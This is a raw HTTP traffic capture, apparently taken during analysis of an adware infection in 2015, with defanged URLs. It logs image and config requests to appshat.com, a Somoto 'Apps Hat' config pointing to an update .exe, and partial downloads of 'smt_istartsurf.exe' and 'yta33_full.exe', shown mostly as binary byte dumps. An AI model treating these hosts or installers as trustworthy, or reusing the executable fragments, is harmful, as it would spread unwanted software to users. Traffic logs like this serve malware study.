Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:33 GMT

Content-Type: image/jpeg

Content-Length: 37562

Last-Modified: Thu, 13 Jun 2013 17:46:06 GMT

Connection: keep-alive

ETag: "51ba055e-92ba"

Expires: Sat, 18 Apr 2015 08:06:33 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......JFIF.............C................................... $.' ",#..(
7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222
222222222222222222222...........".....................................
.......................}........!1A..Qa."q.2....#B...R..$3br........%&
'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz...........................
......................................................................
.............................w.......!1..AQ.aq."2...B.....#3R..br...$4
.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................
................................................................?...i.
.*[email protected]..........
8.....'.....B..b....SU...X.....4.=k.?.s.7....9...R..WD...........=.;..
..ZO8z............N............M....rH=.;....Z<..^0................
..s..@..........'Z.v{_.=h...x...rG..O........$......_..aG$..S.{O.=h...
x..-..........(?.....I.......V?k.......<z....{.....................
..]W..bV"..{..=h...x?./)...^?........yO..B.......G..a.z}.w....x.....'$
..G...........]A..........%..Z.D.h....x.......u..@#....../.-..........
*yY|.=....y...o......................./.....9..~x................/....
....w..@#........2=....y...w.............................../<z...Z.
..Z....?.....Q...Z...G.......v......G.=k...k]......._..aI...^...G.....
..,...?<z...Z.Y.0\.pt........G...G.4.......W...c7Z.vl..<z...Z...
[._..?.....Ui.4........?.]..}........Z<..^................k...2]N[.
. ...l...t:rZ.J.6....x......C...........................6f...O<<<< skipped >>>

GET /thumbnails/icon/images/assets/1/3/13ca8e322e15bc394d66a37bec12e3b4.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:33 GMT

Content-Type: image/png

Content-Length: 428661

Last-Modified: Thu, 13 Jun 2013 17:46:14 GMT

Connection: keep-alive

ETag: "51ba0566-68a75"

Expires: Sat, 18 Apr 2015 08:06:33 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;....iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:FD7F1174072068118C14E27DC24655EC" xmpMM:DocumentID="xmp.did:8786
860B6FBE11E195A29E3F354856C3" xmpMM:InstanceID="xmp.iid:8786860A6FBE11
E195A29E3F354856C3" xmp:CreatorTool="Adobe Photoshop CS6 (13.0 2012030
5.m.415 2012/03/05:21:00:00)  (Macintosh)"> <xmpMM:DerivedFrom s
tRef:instanceID="xmp.iid:FE7F1174072068118C14E27DC24655EC" stRef:docum
entID="xmp.did:FD7F1174072068118C14E27DC24655EC"/> </rdf:Descrip
tion> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
.hY....xIDATx...{...u.........2?..vb...qLk....$!.....r..mZ.........*..
...T.J.)...R.(.....ab.....I.43...n..}.......z.X._=c. .x..3....{...<
.Y......x]...u....:^..x}c].q....:^..x..#.8^..x...u........u....:^.....
..:^..x...u....x...u....:...u....:^..x....:^..x...u....x...u....:^G.p.
...:^..x..#.8^..x...u........u....:^.......:^..x...u....x...u....:...u
....:^..x....:^..x...u......y..y.......x....:^_zu.).....k...8e.....O.o
..x......q........_............*^{....x....... ..}.F......_8..f...<<< skipped >>>

GET /thumbnails/icon/images/assets/d/a/da84c206c2019448521379d2ff837774.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:33 GMT

Content-Type: image/png

Content-Length: 317939

Last-Modified: Thu, 13 Jun 2013 17:01:07 GMT

Connection: keep-alive

ETag: "51b9fad3-4d9f3"

Expires: Sat, 18 Apr 2015 08:06:33 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs...#...#.x.?v...OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......<<< skipped >>>

GET /thumbnails/icon/images/assets/b/8/b85261679e262228a562f693b3e6ef6f.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523



....9.Y.....I8...y-.th..P9..{j......."..v>....s.>...T...ta:..%..
...........7._o..@T..^....A.,J[...J-r2...h.]/..c........U..b`V...V....
b.......C..`..../Y[qy.....%......w.0(.Q.....eb.ns...)....i.t.hR..Bx...
%wJ-.Y..k....n.Av~RI...Nr..p.....J.|:@.X.H.!.@Eii.[.3%E.w.............
.?....ZF.......0...*..0..s.T VE^"e<.$.9..H.W..YZ..EP.z.T.....c.Y.}.
....B.....2...d.... ....y:2..%.;.j...n..P$%Jh.$H8..J3..?.#?...PjC...?.
MR..........L...!#.O...%...&rI..[..x..6.........m.S........K.........f
.....T.5h..,. ....(J..._/.e..5.1.,.I......(...4}3l.V........%e....P.).
...7B..z.z..`K...j^......k|.X....YZi.....[o1.0.#.H....d.a;L...... Ys.\
.L.tK.d%.f.6?.. ..V.t...\.y....1.............t.8.9..%...9.M...~...>
.V.T.,...2..x.t V.V..4O.6..~ '....-JPZ%a...[.........p.Ms).....Z..Vi..
n........y..X.u3:d.j} ..|.t.(.....*..t]..[.....Ga3. .\.K.2yP.2........
.....fdz~.R.O..J.b.tCG*./|.}VD~....0HqD)..H).f9Y[..4/...2..pP.....-h..
..{(E<.Q..v.E.)wP..Kb:.(Mv.......C...N.U.3w...n..B......'...{...Z)4
.."/.v.p..9..v....8.....*.uY..$.DpJ.}(.dP..-.y..U.1b..!.....A..8.....[
...ic}......H#H......U."..u..........v.l..^.....A....].......>p..|}
.K7..t....w........>..M..?.......?"..(..T.*-X..:..\E.SW..,9...}...f
...hR.,..'....7.1U..h...8:'i.....hB........#.[.."[....U.h.aV....B1....
E @..Y...FJ.......V..{..F..x.B../[email protected]|...[...1...m)^.a.D.w..\
...-%..-.n.ns/....).,..2a..W........... a...."....o.... .....J u5...j.
.v..T..o.q....b.<^a|.*.!...y....f..........._.v.. .'..s..^.6BI..V.P
...?b..g..Q..w.<......E.yN....j/^K..2..).W......B...i...:..N..J<<< skipped >>>

GET /thumbnails/icon/images/assets/7/e/7e5817bad781bbc2d2e43b350ccb53db.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:33 GMT

Content-Type: image/png

Content-Length: 75260

Last-Modified: Thu, 13 Jun 2013 17:47:02 GMT

Connection: keep-alive

ETag: "51ba0596-125fc"

Expires: Sat, 18 Apr 2015 08:06:33 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;..%.IDATx.....$Wy.|N.......9(.$.E.. ....H2.F.`[email protected]
P.B ...J...U.<3;;..s.I..?UuN.wN........>.>..........K.....A..
)S.L...2M..e..)S.L..e..)S.L."...)S.L.2E..)S.L.2e..(S.L.2e...P.L.2e..).
.L.2e..)[email protected]..)S...2e..)S.L..e..)S.L."...)S.L.2E..)S.L.2e..(S.L.2e..
.P.L.2e..)..L.2e..)[email protected]..)S...2e..)S.L..e..)S.L..e..)S.L."...)S.L...
..u..)..a.....l....|.x<.L.2E..)S...c..=..~...y....Dx..}$<...2e..
(S....i9,,.p..xL....._......y"<&[O|..4(S.L..e."[email protected].&
.....w[2...v:.c....*b.L."........w..c._v;.r[|L...nk....#....'../[.._v;
-y.-</..$.D..e...P.,L`....R.r...y..l....#.0..\H.[.>...@^.|}I..MK
..n..K.-.(B.L.".......Ha.>...5..k..j..j=...B....,..Q....Y. ....<
.?).....<.. .".....)P.L..e..............K..~..6.N..A....J.#....$`..
...'$..".O..M....).(B.LY...S.=....P../}...C.^C.0}..."...,........*...M
...!......p[v?....`....!.k..kS.........3.~.KO;^F..~...s\...~.....P....
...6..x... _/.m.r.^...X>......t*.-..kF......'.........J,.&F{...=.._
...,.O..LO./.AKWl.E.gl.....O..f...8.?D.. Vo...o.h5...[.......<.|...
.5.....~..^....dK..($=".V.`...j..K.H......8..;[email protected]...{7..
^.s..Q../O~|..1>5\;xb_.l|.6>9\?9...N.h.........Db...`.........i.
.w.;...J.'..s....V....X..e.B........[..H.Z.m~..sf......^..MHR......y@.
 i....t.Xl..@......$..*........1.......j.}...z.1....K<w..Q.x.4....z
.G.k..=.2....O.6L..7-..k..CM..<x........._7>.k.........?..&VSK..
..i].f..yYr......a~....Y...9p.....<..$....}H..$...HAJ.! ....2.;<<< skipped >>>

GET /thumbnails/icon/images/assets/b/1/b147a5a09b49b133d347bd975a4c5616.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523

GET /thumbnails/icon/images/assets/a/c/ace33f0a1eddf74bbe8d1bfac70deded.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:33 GMT

Content-Type: image/jpeg

Content-Length: 1554

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-612"

Expires: Sat, 18 Apr 2015 08:06:33 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp
MM:InstanceID="xmp.iid:034EE34CC83911E282B1D0F6CA9F1811" xmpMM:Documen
tID="xmp.did:034EE34DC83911E282B1D0F6CA9F1811"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:034EE34AC83911E282B1D0F6CA9F1811" stRef:d
ocumentID="xmp.did:034EE34BC83911E282B1D0F6CA9F1811"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
......................\.............l.................................
................................b...T..U...!1a."2..3E.'...............
...............?...x.V.!...E..R.R e.&Urr......I5..JYRM9e.(..G.w.n.5...
q.I....D}.y&.#[email protected]}.y&.#[email protected]...
q.I............U.*...44......E..........g.w..}zzH..,.....S.3)......p.e
8.2...N....fS.3).:... h.....N.2...;...Z.6C8.. J.. ..........j)*^aZ.eEb
.I..<:......F.E....B.H.H.YX..C..I.. ...y#I".eb.!.$i$_,.X.!..$..<<< skipped >>>

GET /images/close.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523; _ga=GA1.2.408066396.1429342593; _gat=1


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:33 GMT

Content-Type: image/png

Content-Length: 1200

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-4b0"

Expires: Sat, 18 Apr 2015 08:06:33 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR...............1R....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:75A8A812CEB911E2AE0AE7EB
A740C145" xmpMM:DocumentID="xmp.did:75A8A813CEB911E2AE0AE7EBA740C145"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75A8A810CEB911E2AE
0AE7EBA740C145" stRef:documentID="xmp.did:75A8A811CEB911E2AE0AE7EBA740
C145"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>he.....$IDATx.b455...`..|...EKK......%%%...
[email protected]..(.........Yrrr999.......r......f..q..U....
...~.....&..7o.........ijjN.4....X.srr..................WTT.:u..3gp...
......?xBA\\.........x.... 55u...@vLL..'O.\.@N<........c.g..r......
.1p..].......!By.PRR".G..*U.=..#[email protected]`.
..<<< skipped >>>

GET /images/Tokyo/tokyoThreeWavesBG.jpg HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/videoplayer/videoplayer/607deb71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d31kvmpgk4j074.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/jpeg

Content-Length: 15368

Connection: keep-alive

Server: nginx

Date: Wed, 15 Apr 2015 21:49:45 GMT

Last-Modified: Tue, 14 Apr 2015 08:31:54 GMT

ETag: "552cd07a-3c08"

Expires: Wed, 15 Apr 2015 21:59:45 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

X-Cache: RefreshHit from cloudfront

Via: 1.1 706d29edb74a1d1c287a1ea91a285d3b.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Kn2WQD0C9pcblWAhzzDn7KVQrHR-0j5oXYT52wl_IPtbQv1kdOedpQ==
......Exif..II*.................Ducky.......2.....mhXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="
hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.a
dobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:20C8E87541DAE111B
4BB9504935C1EDB" xmpMM:DocumentID="xmp.did:9221A174EAAF11E18FF38F26F77
384E1" xmpMM:InstanceID="xmp.iid:9221A173EAAF11E18FF38F26F77384E1" xmp
:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom s
tRef:instanceID="xmp.iid:5CE23EFD5CE7E11188929FF0DC9AD62D" stRef:docum
entID="xmp.did:20C8E87541DAE111B4BB9504935C1EDB"/> </rdf:Descrip
tion> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
....Adobe.d...........................................................
#"""#''''''''''..................................................!! !!
''''''''''........D.."................................................
......................................!1.AQ.aq.."2...BRb#....r.....3c$
CSs.....Dt....4...6.......................!1.AQaq..."2...BR#...r..b.3.
..S4T..............?............................@...... ........B.....
V@.. ..U.^[email protected].'............)...........b.....
......................B.....................2.......FR0 ....%l...6<<< skipped >>>

GET /webplayer/appshat/config.json HTTP/1.1

Accept: */*

If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT

Cache-Control: max-age=0

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.bigspeedpro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:31 GMT

Content-Type: application/json

Content-Length: 778

Last-Modified: Mon, 27 Jan 2014 15:16:30 GMT

Connection: close

ETag: "52e6784e-30a"

Accept-Ranges: bytes

{.."group-name": "AppsHat",.."program-name": "AppsHat",.."about-text":
 "Apps Hat\n(c) 2013 Somoto Ltd. All rights reserved\n\nTerms and Cond
itions:\nhXXp://VVV.appshat.com/eula/ahd\n\nPrivacy Policy:\nhXXp://ww
w.appshat.com/privacy/ahd",.."title-icon": "hXXp://VVV.appshat.com/ima
ges/16x16.ico",.."tray-icon": "hXXp://VVV.appshat.com/images/16x16.ico
",.."shortcut-icon": "hXXp://VVV.appshat.com/images/64x64.ico",.."unin
stall": "Apps Hat",.."url": "hXXp://VVV.appshat.com/home",.."width": 1
024,.."height": 795,.."cache": 86400,.."alwaysontop": false,.."program
-version": "2.13",.."start-on-windows": true,.."title": "Apps Hat",.."
tooltip": "Apps Hat",.."minimized": true,.."update-url" : "hXXp://VVV.
bigspeedpro.com/mirror/nerocrossrider/appshatmini/appshatmini_update.e
xe"..}....

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=167832-335664

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Sat, 18 Apr 2015 07:34:36 GMT

Content-Type: application/octet-stream

Content-Length: 167833

Last-Modified: Wed, 15 Apr 2015 07:16:46 GMT

Connection: keep-alive

Expires: Tue, 21 Apr 2015 07:34:36 GMT

Cache-Control: max-age=259200

Content-Range: bytes 167832-335664/671328
...}..u..x&.........._.....].V.u...u..[&..........^........u......Y...
.#.....V.;.t.3.^]...U...}..u...&..........^.....]..E...t.j..p..0.u....
.....].j.h..H..9z...e..3..u........u...%.........l^...........]....t..
[email protected]...@u..}..G.=....v....}.....u.V.....Y.e..V.....V.....YY.f..
....N....t.....F.j._.-.E...u W..#..Y..u.....H..M.....N..............N.
.~..F....f...E...........E...y....u..{...Y...U...=..H..u..lx...u...v..
h......s..YY][email protected]
..u..6.<.@[email protected][email protected][email protected][email protected]....
u.j..S...Y.......u.j..B...Y.3....u........y.j...u..Y..TpG....I........
.H........y.j...u..Y.......y.j..~u..Yj..Us..Y;.t.P.ku..Y.R....E..t...M
...j.YQPVh..@..|....E.9u.u.P..t....u.....E......M.PQ.....YY..e..E..E..
}..u.P..t....t...E......E...w...............U.... .E.VWj.Y..vG..}....E
..E._.E.^[email protected]$.......t$.......
tN......u........$......$..........~.....3.........t..A...t2..t$.....t
......t....A..L$. ...A..L$. ...A..L$. ...A..L$. .......U..WV.u..M..}..
.....;.v.;.............r..=..I..t.WV......;.^_u...I........u..........
r)...$...B...........r.......$.$.B..$. .B...$...B..4.B.`.B...B.#......
F..G..F.....G..........r....$...B..I.#......F.....G..........r....$...
B..#.................r....$...B..I...B...B...B...B...B...B...B...B..D.
..D...D...D...D...D...D...D...D...D...D...D...D...D..............$...B
... .B.(.B.4.B.H.B..E.^_........E.^_........F..G..E.^_...I......F..G..
F..G..E.^_....t1..|9.......u$.........r......$...B......$.\.B..I..<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:24 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 250000-499999/7590800
....A.^......i.|@....M|.4y..F.S.}..&a.D8...."R.R.C..9....S.0u.R.&...T$
9R;.%...o....vUm....NE.d. .5%.... .......T..sM..Qx ...[|Cf...ne.$..|Zv
'.k.M.\d.&....*\H..`i.{?...9u'.....q........YK.T.Csj1......2.YHsL.....
.l..f........f@[email protected]..\.l....sL..).^..cJ.G../. ....%O...-.^.S.
.TFM...{1.X.....X..WT./...x..$..6.%0`...U.2..w5.B...o.#...0...-WXTl...
...H.dEcP4...S-qn}Z..n...>".p..@....~cE.0.b... R.5.&.........eD.ig.
PV..wo..T.~.....R9.....zR^v...W..t.H.%}.U.~...Y.|(g..&.(xj.....<. I
!........Y....u[@.`............u......C8.6...`..0.......[........0...^
............y......j.!.H.....L.z^o.....4.;.5:RLz.l.p...s...*f.e<.#.
.....#...~....U).1G"`...n.........<...0;..h...#....h.....".o.NW".(.
,.N..t.......^Z..%.I.&.VW..O....<..i..C.av.\*.v..d..5...#.=0>x..
n...#pYH.)8d...B..m.R'p. .......]...3.j....c.....[.S......J...G.!.[...
hh....D..Q.....f:=C....f.R.o.....j..|..T>.5?;.1.......@H.[.h.eS.0..
.. .(y.....7...h|.$..4...1.....K..;G.{.'..:..t.[ld..C..n;>.(V...P..
........C.........7H. .W..ckrZ...w...=....S....!E.8....^.....k.X...$..
.9..}... ..{.....]. n.....6..i....o.{[email protected].$.
..H}...^).v....'.....H.....x.yH...E9.V.Q).N.$X...\......GG.|sJ..R.....
7.._.b......x$......?.U.g.g$....)..E..[)..h..k .L ..a.\[email protected].:..
.B...... .a.b. .. '.....~e..f..c..3......6.6.?xK.(t..p..@?.Rs"..n.../.
...7....IO..7b{.t.....$ ...*..R.i....6Vt.....x.v"..._g..[3.\OG/.-...y.
..z....M......w.M#...*..r..W"t.eT%.@;.9b0p.-.$=n..H...i*T>..xVL,vA.
w].&5].?A6A.....6Q.v.6...zU*..~:..bGh......GM.3.c%.}.....L.4.C....<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:24 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 750000-999999/7590800
..|.b..dA..z..j...I.1..../..5.!5...L.'..?|.2...'(.......a.....3:3.i...
E4./...Y"..VH.bn"..IC".....Nvf^oN.1..S=.@}....YvV..?..%{......&.^.c.=.
....1m.N.[........o.<............v.|.....n.L8}d..<oz.z`6pv..%..6
rm."./.....q..y.......!.`.....}....i.....'..".hT.....]......4G.8A.....
|.4S.._.*J.".\e..r|....`.....,].....SR.?{GV......;....!.r~i`._....z.M.
y..c..y...v....rW.aT..q.q.m6dB...s.I.*....W......u.......Fc..Y.69Q....
.%....%....U~..=.........X.I.y.K...gY.>.T.....9g ?p\~...... *.q....
...b.A..Nq^."..R'S..W.1......>..`<4.....yCh*-.!.}E.g..i......../
......]...c.v.k....8..?.G.l.........5..........g..}.2.O.l..r._..q..G}.
......3Z.....}.....O..p..,Y..4.'j...L....@ ..$.~U.....6.O..Fa.).V....b
U...].... ^oz...@.....)...:.s.{.u........%.K_&f...*..f>...o9.1.....
.pH....-........a.u!.}s.......A.m........M.=<[email protected].......
.3... ..6.......<..r.....=0.3G.d.M."|..\.:.1.K....y4D..Oh.....=....
zq.z<.h..o..F.a{o3..J...r/.l*l.AE.."&.!..;.dK.3...)@.......f.u....-
..EI.c...v....N.T.U@.........*.mZ.... ....~..e.x.....C.A..G.#4........
g...,....9.-........k..|.\.w).>(Ao...%@...d.}.c...H... .JCQ6. 6jX4.
..Q.....zx)....y.....).......\v.... F...S.:mKd...,.1C #[email protected]
.3. .g.^.G..o=.2)....I.....gP...&4...=..................q..|.l2..1..8R
